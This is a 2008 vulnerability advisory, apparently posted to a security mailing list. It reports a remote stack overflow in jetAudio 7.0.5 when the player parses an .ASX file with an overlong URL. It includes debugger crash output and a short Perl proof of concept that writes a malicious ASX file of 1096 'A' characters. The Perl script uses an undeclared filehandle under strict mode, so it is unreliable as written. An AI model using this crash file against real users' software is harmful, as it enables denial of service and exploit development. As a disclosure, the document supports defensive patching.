jetAudio <= 7.0.5 (.ASX) Remote Stack Overflow

From: <laurent.gaffie_at_gmail.com>
Date: 8 Feb 2008 19:01:00 -0000

('binary' encoding is not supported, stored as-is) Application: jetAudio 7.0.5 (.ASX) Remote Stack Overflow
Web Site: http://www.cowonamerica.com/download/
Platform: Windows
Bug:Remote Stack Overflow
Extension: ASX
special condition: none

-------------------------------------------------------

1) Introduction

2) Bug

3) Proof of concept

4) Credits

===========
1) Introduction
===========

A nice introduction to jetaudio can be found : http://www.cowonamerica.com/products/jetaudio/

======
2) Bug
======

When parsing an asx file with a long URL a stack overflow occurs.

=====
3)Proof of concept
=====

Proof of concept example :

An url with 1096 A ( http://AAAAA....) will overwritte ESI and crash the program

Here's the debugger output:
Access violation - code c0000005

eax=00000000 ebx=01187684 ecx=00000459 edx=0012d39c esi=41414141 edi=00000001

eip=00441dad esp=0012cf3c ebp=00000001 iopl=0 nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206

JetAudio!CxImage::`copy constructor closure'+0x1109d:

00441dad 8b06 mov eax,[esi] ds:0023:41414141=????????

Here's the the Poc :

#!/usr/local/bin/perl
                                                               
use strict;
                                                               
use warnings;
                                                               
my $file="myfile.asx";
                                                               
my $payload = "A" x 1096;
                                                               
open( $FILE, ">>$file") or die "Cannot open $file: $!";
                                                               
print $FILE "http://".$payload;
                                                               
close($FILE);
                                                               
print "$file has been created \n";
                                                               

=====
5)Credits
=====

laurent gaffié
laurent.gaffie{remove_this}[at]gmail[dot]com
Received on Feb 08 2008